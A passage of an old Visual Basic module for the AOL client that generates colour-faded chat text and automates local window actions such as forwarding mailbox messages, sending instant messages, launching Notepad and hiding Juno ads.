GreyRed2(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(255 - F, 255 - F, 255) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function GreyYellow2(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(255 - F, 255, 255) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function PurpleBlack2(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(255 - F, 0, 255 - F) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function PurpleBlue2(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(255, 0, 255 - F) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function PurpleGreen2(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(255 - F, F, 255 - F) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function PurpleRed2(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(255 - F, 0, 255) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function PurpleYellow2(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(255 - F, F, 255) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function RedBlack2(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(0, 0, 255 - F) h = RGBtoHEX(G) Msg = Msg & "<b><s><u><Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function RedBlue2(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(F, 0, 255 - F) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function RedGreen2(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(0, F, 255 - F) h = RGBtoHEX(G) Msg = Msg & "<b><Font Color=#" & h & "></b>" & D Next B ErrorRsenD (Msg) End Function Function RedPurple2(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(F, 0, 255) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function RedYellow2(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(0, F, 255) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Public Function ReverseString(MyString As String) As String Dim TempString As String, StringLength As Long Dim Count As Long, NextChr As String, NewString As String TempString$ = MyString$ StringLength& = Len(TempString$) Do While Count& <= StringLength& Count& = Count& + 1 NextChr$ = Mid$(TempString$, Count&, 1) NewString$ = NextChr$ & NewString$ Loop ReverseString$ = NewString$ End Function Function YellowBlack2(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(0, 255 - F, 255 - F) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function YellowBlue2(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(F, 255 - F, 255 - F) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function YellowGreen2(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(0, 255, 255 - F) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function YellowPurple2(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(F, 255 - F, 255) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function YellowRed2(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 255 / a F = E * B G = RGB(0, 255 - F, 255) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function 'Pre-set 3 Color fade combinations begin here Function BlackBlueBlack2(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 510 / a F = E * B If F > 255 Then F = (255 - (F - 255)) G = RGB(F, 0, 0) h = RGBtoHEX(G) Msg = Msg & "<B><Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function BlackGreenBlack2(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 510 / a F = E * B If F > 255 Then F = (255 - (F - 255)) G = RGB(0, F, 0) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function GreenBlackGreen(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 510 / a F = E * B If F > 255 Then F = (255 - (F - 255)) G = RGB(0, 255 - F, 0) h = RGBtoHEX(G) Msg = Msg & "<b><Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function GreenBlueGreen(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 510 / a F = E * B If F > 255 Then F = (255 - (F - 255)) G = RGB(F, 255 - F, 0) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Sub WritePadd(TheExe As String) Dim Shellz As Long, NoFreeze As Long Shellz& = Shell("c:\windows\write.exe", 1): NoFreeze& = DoEvents() End Sub Function Talker_ieet(strin As String) As String 'From ErrorR.bas edited by |2eV ' How to use: ' ReV = talker_ieet(text1.text) ' ErrorRsenD(ReV) Dim NextChr As String, inptxt As String, lenth As Integer Dim NextChrr As String, NewSent As String, NumSpc As Integer, Crapp As Integer Let inptxt$ = strin Let lenth% = Len(inptxt$) Do While NumSpc% <= lenth% DoEvents Let NumSpc% = NumSpc% + 1 Let NextChr$ = Mid$(inptxt$, NumSpc%, 1) Let NextChrr$ = Mid$(inptxt$, NumSpc%, 2) If NextChrr$ = "ae" Then Let NextChrr$ = "ae": Let NewSent$ = NewSent$ + NextChrr$: Let Crapp% = 2: GoTo send If NextChrr$ = "AE" Then Let NextChrr$ = "ae": Let NewSent$ = NewSent$ + NextChrr$: Let Crapp% = 2: GoTo send If NextChrr$ = "oe" Then Let NextChrr$ = "oe": Let NewSent$ = NewSent$ + NextChrr$: Let Crapp% = 2: GoTo send If NextChrr$ = "OE" Then Let NextChrr$ = "oe": Let NewSent$ = NewSent$ + NextChrr$: Let Crapp% = 2: GoTo send If Crapp% > 0 Then GoTo send If NextChr$ = "A" Then Let NextChr$ = "a" If NextChr$ = "a" Then Let NextChr$ = "a" If NextChr$ = "B" Then Let NextChr$ = "b" If NextChr$ = "C" Then Let NextChr$ = "c" If NextChr$ = "c" Then Let NextChr$ = "c" If NextChr$ = "D" Then Let NextChr$ = "d" If NextChr$ = "d" Then Let NextChr$ = "d" If NextChr$ = "E" Then Let NextChr$ = "e" If NextChr$ = "e" Then Let NextChr$ = "e" If NextChr$ = "f" Then Let NextChr$ = "f" If NextChr$ = "H" Then Let NextChr$ = "h" If NextChr$ = "I" Then Let NextChr$ = "I" If NextChr$ = "i" Then Let NextChr$ = "I" If NextChr$ = "k" Then Let NextChr$ = "k" If NextChr$ = "K" Then Let NextChr$ = "k" If NextChr$ = "L" Then Let NextChr$ = "l" If NextChr$ = "M" Then Let NextChr$ = "m" If NextChr$ = "m" Then Let NextChr$ = "m" If NextChr$ = "N" Then Let NextChr$ = "n" If NextChr$ = "n" Then Let NextChr$ = "n" If NextChr$ = "O" Then Let NextChr$ = "o" If NextChr$ = "o" Then Let NextChr$ = "o" If NextChr$ = "P" Then Let NextChr$ = "p" If NextChr$ = "p" Then Let NextChr$ = "p" If NextChr$ = "r" Then Let NextChr$ = "r" If NextChr$ = "S" Then Let NextChr$ = "s" If NextChr$ = "s" Then Let NextChr$ = "s" If NextChr$ = "t" Then Let NextChr$ = "t" If NextChr$ = "U" Then Let NextChr$ = "u" If NextChr$ = "u" Then Let NextChr$ = "u" If NextChr$ = "V" Then Let NextChr$ = "v" If NextChr$ = "W" Then Let NextChr$ = "w" If NextChr$ = "w" Then Let NextChr$ = "w" If NextChr$ = "X" Then Let NextChr$ = "x" If NextChr$ = "x" Then Let NextChr$ = "x" If NextChr$ = "Y" Then Let NextChr$ = "y" If NextChr$ = "y" Then Let NextChr$ = "y" Let NewSent$ = NewSent$ + NextChr$ send: If Crapp% > 0 Then Let Crapp% = Crapp% - 1 DoEvents Loop Talker_ieet = NewSent$ End Function Function Talker_Dot(strin As String) As String 'From ErrorR.Bas ' How to use: ' ReV = talker_dot(text1.text) ' ErrorRsenD, or phaded coler(ReV) Dim NextChr As String, inptxt As String, lenth As Integer Dim NumSpc As Integer, NewSent As String, Dotz As String Let inptxt$ = strin Let lenth% = Len(inptxt$) Do While NumSpc% <= lenth% Let NumSpc% = NumSpc% + 1 Let NextChr$ = Mid$(inptxt$, NumSpc%, 1) Let NextChr$ = NextChr$ + "ò" Let NewSent$ = NewSent$ + NextChr$ Loop Dotz$ = NewSent$ Talker_Dot = Dotz$ End Function Sub Explorer(TheExe As String) Dim Shellz As Long, NoFreeze As Long Shellz& = Shell("c:\windows\Explorer.exe", 1): NoFreeze& = DoEvents() End Sub Sub Paint(TheExe As String) Dim Shellz As Long, NoFreeze As Long Shellz& = Shell("c:\windows\Pbrush.exe", 1): NoFreeze& = DoEvents() End Sub Sub Shell_NotePad(TheExe As String) Dim Shellz As Long, NoFreeze As Long Shellz& = Shell("c:\windows\notepad.exe", 1): NoFreeze& = DoEvents() End Sub Function GreenPurpleGreen(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 510 / a F = E * B If F > 255 Then F = (255 - (F - 255)) G = RGB(F, 255 - F, F) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function GreenRedGreen(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 510 / a F = E * B If F > 255 Then F = (255 - (F - 255)) G = RGB(0, 255 - F, F) h = RGBtoHEX(G) Msg = Msg & "<b><Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function GreenYellowGreen(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 510 / a F = E * B If F > 255 Then F = (255 - (F - 255)) G = RGB(0, 255, F) h = RGBtoHEX(G) Msg = Msg & "<b><Font Color=#" & h & "></b>" & D Next B ErrorRsenD (Msg) End Function Function GreyBlackGrey(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 490 / a F = E * B If F > 255 Then F = (255 - (F - 255)) G = RGB(255 - F, 255 - F, 255 - F) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function GreyBlueGrey(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 490 / a F = E * B If F > 255 Then F = (255 - (F - 255)) G = RGB(255, 255, 255 - F) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function GreyGreenGrey(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 490 / a F = E * B If F > 255 Then F = (255 - (F - 255)) G = RGB(255 - F, 255, 255 - F) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function GreyPurpleGrey(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 490 / a F = E * B If F > 255 Then F = (255 - (F - 255)) G = RGB(255, 255 - F, 255) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function GreyRedGrey(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 490 / a F = E * B If F > 255 Then F = (255 - (F - 255)) G = RGB(255 - F, 255 - F, 255) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function GreyYellowGrey(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 490 / a F = E * B If F > 255 Then F = (255 - (F - 255)) G = RGB(255 - F, 255, 255) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function PurpleBlackPurple(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 510 / a F = E * B If F > 255 Then F = (255 - (F - 255)) G = RGB(255 - F, 0, 255 - F) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function PurpleBluePurple(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 510 / a F = E * B If F > 255 Then F = (255 - (F - 255)) G = RGB(255, 0, 255 - F) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function PurpleGreenPurple(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 510 / a F = E * B If F > 255 Then F = (255 - (F - 255)) G = RGB(255 - F, F, 255 - F) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function PurpleRedPurple(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 510 / a F = E * B If F > 255 Then F = (255 - (F - 255)) G = RGB(255 - F, 0, 255) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function PurpleYellowPurple(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 510 / a F = E * B If F > 255 Then F = (255 - (F - 255)) G = RGB(255 - F, F, 255) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function RedBlackRed(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 510 / a F = E * B If F > 255 Then F = (255 - (F - 255)) G = RGB(0, 0, 255 - F) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function RedBlueRed(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 510 / a F = E * B If F > 255 Then F = (255 - (F - 255)) G = RGB(F, 0, 255 - F) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function RedGreenRed(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 510 / a F = E * B If F > 255 Then F = (255 - (F - 255)) G = RGB(0, F, 255 - F) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function RedPurpleRed(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 510 / a F = E * B If F > 255 Then F = (255 - (F - 255)) G = RGB(F, 0, 255) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function RedYellowRed(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 510 / a F = E * B If F > 255 Then F = (255 - (F - 255)) G = RGB(0, F, 255) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function YellowBlackYellow(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 510 / a F = E * B If F > 255 Then F = (255 - (F - 255)) G = RGB(0, 255 - F, 255 - F) h = RGBtoHEX(G) Msg = Msg & "<b><Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function YellowBlueYellow(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 510 / a F = E * B If F > 255 Then F = (255 - (F - 255)) G = RGB(F, 255 - F, 255 - F) h = RGBtoHEX(G) Msg = Msg & "<b><Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function YellowGreenYellow(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 510 / a F = E * B If F > 255 Then F = (255 - (F - 255)) G = RGB(0, 255, 255 - F) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function YellowPurpleYellow(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 510 / a F = E * B If F > 255 Then F = (255 - (F - 255)) G = RGB(F, 255 - F, 255) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function YellowRedYellow(Text1) a = Len(Text1) For B = 1 To a c = Left(Text1, B) D = Right(c, 1) E = 510 / a F = E * B If F > 255 Then F = (255 - (F - 255)) G = RGB(0, 255 - F, 255) h = RGBtoHEX(G) Msg = Msg & "<Font Color=#" & h & ">" & D Next B ErrorRsenD (Msg) End Function Function Server_FWD(SName As String) 'Server_SendByIndex function ' errrrrr Dim aol%, mdi%, Chil%, Rich%, sNum, mSpc$, last, stat%, clickit, fillit Dim ssNum, sLast, edi2%, tit2% Do: DoEvents aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") Chil% = FindChildByClass(mdi%, "AOL Child") Rich% = FindChildByClass(Chil%, "RICHCNTL") sNum = SendMessageByNum(Rich%, 14, 0&, 0&) mSpc$ = Space$(sNum) last = SendMessageByString(Rich%, 13, sNum + 1, mSpc$) If InStr(LCase(mSpc$), "date:") <> 0 Then Exit Do Loop stat% = FindChildByClass(Chil%, "_AOL_Static") Do: DoEvents ssNum = SendMessageByNum(stat%, 14, 0&, 0&) smSpc$ = Space$(ssNum) sLast = SendMessageByString(stat%, 13, ssNum + 1, smSpc$) If LCase(smSpc$) = "forward" Or stat% = 0 Then Exit Do stat% = GetWindow(stat%, GW_HWNDNEXT) Loop If stat% <> 0 Then stat% = GetWindow(stat%, GW_HWNDPREV) clickit = SendMessage(stat%, WM_LBUTTONDOWN, 0, 0&) clickit = SendMessage(stat%, WM_LBUTTONUP, 0, 0&) Do: DoEvents aol2% = FindWindow("AOL Frame25", vbNullString) mdi2% = FindChildByClass(aol2%, "MDIClient") tit2% = findchildbytitle(mdi2%, "Fwd:") edi2% = FindChildByClass(tit2%, "_AOL_Edit") If tit2% <> 0 And edi2% <> 0 Then Exit Do Loop fillit = SendMessageByString(edi2%, WM_SETTEXT, 0, SName) For n = 1 To 4 edi2% = GetWindow(edi2%, GW_HWNDNEXT) Next n sNum2 = SendMessageByNum(edi2%, 14, 0, 0&) fSpc$ = Space$(sNum2) GetIt = SendMessageByString(edi2%, 13, sNum2 + 1, fSpc$) Subj = fSpc$ If InStr(LCase(Subj), "fwd:") <> 0 Then nSubj$ = Mid(Subj, 6, Len(Subj)) fillit = SendMessage(edi2%, WM_LBUTTONDBLCLK, 0, 0&) fillit = SendMessageByString(edi2%, WM_SETTEXT, 0, nSubj$) For I = 1 To 18 edi2% = GetWindow(edi2%, GW_HWNDNEXT) Next I clickit = SendMessage(edi2%, WM_LBUTTONDOWN, 0, 0&) clickit = SendMessage(edi2%, WM_LBUTTONUP, 0, 0&) Wait (1) titc% = findchildbytitle(mdi%, " Online Mailbox") If titc% <> 0 Then cit = ShowWindow(titc%, SW_MINIMIZE) End If Mo% = FindWindow("_AOL_Modal", vbNullString) iconb% = FindChildByClass(Mo%, "_AOL_Icon") If Mo% <> 0 Then closea = SendMessage(iconb%, WM_LBUTTONDOWN, 0, 0&) closea = SendMessage(iconb%, WM_LBUTTONUP, 0, 0&) End If cit2 = SendMessage(Chil%, WM_CLOSE, 0, 0&) End If End If End Function Function Server_Mail2Subject(strin As String) Dim X As Integer Dim NoName$, l$ For X = 1 To Len(strin) l$ = Mid(strin, X, 1) NoName$ = NoName$ & l$ If l$ = Chr(9) Then Let l$ = "": NoName$ = "" End If Next X Server_Mail2Subject = NoName$ End Function Function Server_SendByIndex(lis As ListBox, Indx As Integer, Who As String) 'this will check your listbox for the index # 'then search each mail and find a match in the 'subject not the fastest but i had to make it 'universal for all to use. Dim Gsb, Gsb2, Gsb3, BeSafe As Integer Dim sent As Boolean Dim GottaKeepAsNew As Boolean Dim TName As String sent = False sb$ = lis.List(Val(Indx) - 1) For cut = 1 To Len(sb$) tr$ = Mid(sb$, cut, 1) If tr$ = ")" Then tr$ = "" Exit For End If Next cut sb2$ = Mid(sb$, (cut + 1), Len(sb$)) Call Mail_OpenNew2 Do: DoEvents aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") TIT% = findchildbytitle(mdi%, " Online Mailbox") Icona% = FindChildByClass(TIT%, "_AOL_Icon") Tab1% = FindChildByClass(TIT%, "_AOL_TabControl") Tab2% = FindChildByClass(Tab1%, "_AOL_TabPage") tree% = FindChildByClass(Tab2%, "_AOL_Tree") If TIT% <> 0 And tree% <> 0 Then Exit Do Loop For BeSafe = 1 To 4 Do: DoEvents NewC = coun% coun% = SendMessage(tree%, LB_GETCOUNT, 0, 0&) If NewC = coun% Then Exit Do Loop For Gsb = 0 To coun% - 1 selit = SendMessage(tree%, LB_SETCURSEL, Gsb, 0&) lent% = SendMessage(tree%, LB_GETTEXTLEN, Gsb, 0&) Subjct$ = String(lent% + 1, 0) Call SendMessageByString(tree%, LB_GETTEXT, Gsb, Subjct$) Subjct2$ = Server_Mail2Subject(Subjct$) Wait (0.2) DoEvents If InStr(LCase(Trim(Subjct2$)), LCase(Trim(sb2$))) <> 0 Then selit = SendMessage(tree%, LB_SETCURSEL, Gsb, 0&) Wait (0.3) selit = SendMessage(tree%, WM_KEYDOWN, VK_RETURN, 0&) selit = SendMessage(tree%, WM_KEYUP, VK_RETURN, 0&) sent = True Exit For End If Next Gsb If sent = True Then Exit For Next BeSafe If sent = False Then Call Mail_OpenOld2 Tab2% = GetWindow(Tab2%, GW_HWNDNEXT) Tree2% = FindChildByClass(Tab2%, "_AOL_Tree") For BeSafe = 1 To 4 Do: DoEvents NewC = coun2% coun2% = SendMessage(Tree2%, LB_GETCOUNT, 0, 0&) If NewC = coun2% Then Exit Do Loop For Gsb2 = 0 To coun2% - 1 selit = SendMessage(Tree2%, LB_SETCURSEL, Gsb, 0&) lent% = SendMessage(Tree2%, LB_GETTEXTLEN, Gsb2, 0&) Subjct$ = String(lent% + 1, 0) Call SendMessageByString(Tree2%, LB_GETTEXT, Gsb2, Subjct$) Subjct2$ = Server_Mail2Subject(Subjct$) Wait (0.3) DoEvents If InStr(LCase(Trim(Subjct2$)), LCase(Trim(sb2$))) <> 0 Then selit = SendMessage(Tree2%, LB_SETCURSEL, Gsb2, 0&) Wait (0.3) selit = SendMessage(Tree2%, WM_KEYDOWN, VK_RETURN, 0&) selit = SendMessage(Tree2%, WM_KEYUP, VK_RETURN, 0&) sent = True Exit For End If Next Gsb2 If sent = True Then Exit For Next BeSafe If sent = False Then Call Mail_OpenSent2 Tab2% = GetWindow(Tab2%, GW_HWNDNEXT) Tab2% = GetWindow(Tab2%, GW_HWNDNEXT) tree3% = FindChildByClass(Tab2%, "_AOL_Tree") For BeSafe = 1 To 4 Do: DoEvents NewC = coun3% coun3% = SendMessage(tree3%, LB_GETCOUNT, 0, 0&) If NewC = coun2% Then Exit Do Loop For Gsb3 = 0 To coun3% selit = SendMessage(tree3%, LB_SETCURSEL, Gsb, 0&) lent% = SendMessage(tree3%, LB_GETTEXTLEN, Gsb3, 0&) Subjct$ = String(lent% + 1, 0) Call SendMessageByString(tree3%, LB_GETTEXT, Gsb3, Subjct$) Subjct2$ = Server_Mail2Subject(Subjct$) Wait (0.2) DoEvents If InStr(LCase(Trim(Subjct2$)), LCase(Trim(sb2$))) <> 0 Then selit = SendMessage(tree3%, LB_SETCURSEL, Gsb3, 0&) Wait (0.3) selit = SendMessage(tree3%, WM_KEYDOWN, VK_RETURN, 0&) selit = SendMessage(tree3%, WM_KEYUP, VK_RETURN, 0&) sent = True Exit For End If Next Gsb3 If sent = True Then Exit For Next BeSafe End If If sent = False Then MsgBox ("Mail was not in mailbox index"), 16, ("Error") Exit Function End If Wait (2) DoEvents Call Server_FWD(Who) End If End Function Sub signoff() aol% = FindWindow("AOL Frame25", vbNullString) Call RunMenuByString(aol%, "&Sign Off") End Sub Sub WelcomeWindow_Show() aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") TIT% = findchildbytitle(mdi%, "Welcome") If TIT% <> 0 Then X = ShowWindow(TIT%, SW_SHOW) End If End Sub Sub WavYChaTRedBlue(TheText As String) G$ = TheText a = Len(G$) For W = 1 To a Step 4 r$ = Mid$(G$, W, 1) u$ = Mid$(G$, W + 1, 1) s$ = Mid$(G$, W + 2, 1) T$ = Mid$(G$, W + 3, 1) p$ = p$ & "<FONT COLOR=" & Chr$(34) & "#FF0000" & Chr$(34) & "><sup>" & r$ & "</sup>" & "<FONT COLOR=" & Chr$(34) & "#0000FF" & Chr$(34) & ">" & u$ & "<FONT COLOR=" & Chr$(34) & "#FF0000" & Chr$(34) & "><sub>" & s$ & "</sub>" & "<FONT COLOR=" & Chr$(34) & "#0000FF" & Chr$(34) & ">" & T$ Next W ErrorRsenD (p$) End Sub Function WavYChaTRedGreen(TheText As String) G$ = TheText a = Len(G$) For W = 1 To a Step 4 r$ = Mid$(G$, W, 1) u$ = Mid$(G$, W + 1, 1) s$ = Mid$(G$, W + 2, 1) T$ = Mid$(G$, W + 3, 1) p$ = p$ & "<b><FONT COLOR=" & Chr$(34) & "#FF0000" & Chr$(34) & "><sup>" & r$ & "</sup>" & "<FONT COLOR=" & Chr$(34) & "#006400" & Chr$(34) & ">" & u$ & "<FONT COLOR=" & Chr$(34) & "#FF0000" & Chr$(34) & "><sub>" & s$ & "</sub>" & "<FONT COLOR=" & Chr$(34) & "#006400" & Chr$(34) & ">" & T$ Next W ErrorRsenD (p$) End Function Sub WelcomeWindow_Hide() 'this will only hide it not kill it 'so the GetUserSn function will still work aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") TIT% = findchildbytitle(mdi%, "Welcome") If TIT% <> 0 Then X = ShowWindow(TIT%, SW_HIDE) End If End Sub Function IsChar(Char As String) As Boolean 'tells if one character is a letter 'use this to test if a number or letter 'was entered..one character at a time though If UCase(Char) Like "[A-Z]" = True Then isit = True Else isit = False End If IsChar = isit End Function Function IsNumInString(strin As String) As Boolean 'checks if any #'s are in a string 'True means there is a number in it False 'means its all letters For I = 1 To Len(strin) l$ = Mid(strin, I, 1) If IsChar(l$) = False Then IsNumInString = True Exit Function End If Next I IsNumInString = False End Function Function Juno_AdHide() 'Hide the advertisment in juno mail Juno% = FindWindow("JunoMainWndXQW21", vbNullString) Afx% = FindChildByClass(Juno%, "Afx:400000:8") Disp% = FindChildByClass(Afx%, "JAdDisplay") If Disp% <> 0 Then hideit = ShowWindow(Disp%, SW_HIDE) Min = ShowWindow(Juno%, SW_MINIMIZE) restoreit = ShowWindow(Juno%, SW_RESTORE) End If End Function Function Juno_AdShow() 'showss that you got mail bullshit Juno% = FindWindow("JunoMainWndXQW21", vbNullString) Afx% = FindChildByClass(Juno%, "Afx:400000:8") Disp% = FindChildByClass(Afx%, "JAdDisplay") If Disp% <> 0 Then showit = ShowWindow(Disp%, SW_SHOW) End If End Function Sub IMKeyword(Recipiant, Message) 'if you dont know wtf this is then u need a dick in ur mouth aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") Call Keyword("aol://9293:") Do: DoEvents IMWin% = findchildbytitle(mdi%, "Send Instant Message") AOEdit% = FindChildByClass(IMWin%, "_AOL_Edit") AORich% = FindChildByClass(IMWin%, "RICHCNTL") AOIcon% = FindChildByClass(IMWin%, "_AOL_Icon") Loop Until AOEdit% <> 0 And AORich% <> 0 And AOIcon% <> 0 Call SendMessageByString(AOEdit%, WM_SETTEXT, 0, Recipiant) Call SendMessageByString(AORich%, WM_SETTEXT, 0, Message) For X = 1 To 9 AOIcon% = GetWindow(AOIcon%, 2) Next X Call TimeOut(0.01) ClickIcon (AOIcon%) Do: DoEvents aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") IMWin% = findchildbytitle(mdi%, "Send Instant Message") OkWin% = FindWindow("#32770", "America Online") If OkWin% <> 0 Then Call 